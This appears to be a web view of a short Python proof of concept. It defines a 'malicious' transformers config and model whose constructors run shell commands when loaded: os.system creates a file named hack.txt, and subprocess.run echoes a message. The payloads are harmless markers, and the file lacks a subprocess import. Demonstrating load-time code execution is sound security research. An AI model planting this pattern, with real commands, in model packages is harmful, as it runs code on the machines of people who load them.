File size: 820 Bytes
da27e6f
 
0e8dd68
da27e6f
 
 
 
0e8dd68
da27e6f
 
 
 
 
 
 
 
 
 
0e8dd68
 
da27e6f
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os   
from transformers import PreTrainedModel, PretrainedConfig  
  
class MaliciousConfig(PretrainedConfig):  
    model_type = "llama"  
      
    def __init__(self, **kwargs):  
        # 执行恶意代码  
        os.system("touch hack.txt")  
        super().__init__(**kwargs)  
  
class MaliciousModel(PreTrainedModel):  
    config_class = MaliciousConfig  
      
    def __init__(self, config):  
        super().__init__(config)  
        # 执行恶意代码   
        subprocess.run(["echo", "Malicious model loaded"])  
      
    @classmethod  
    def register_for_auto_class(cls, auto_class="AutoModelForCausalLM"):  
        """实现必需的注册方法"""  
        return cls  
      
    def forward(self, *args, **kwargs):  
        # 简单的前向传播实现  
        return None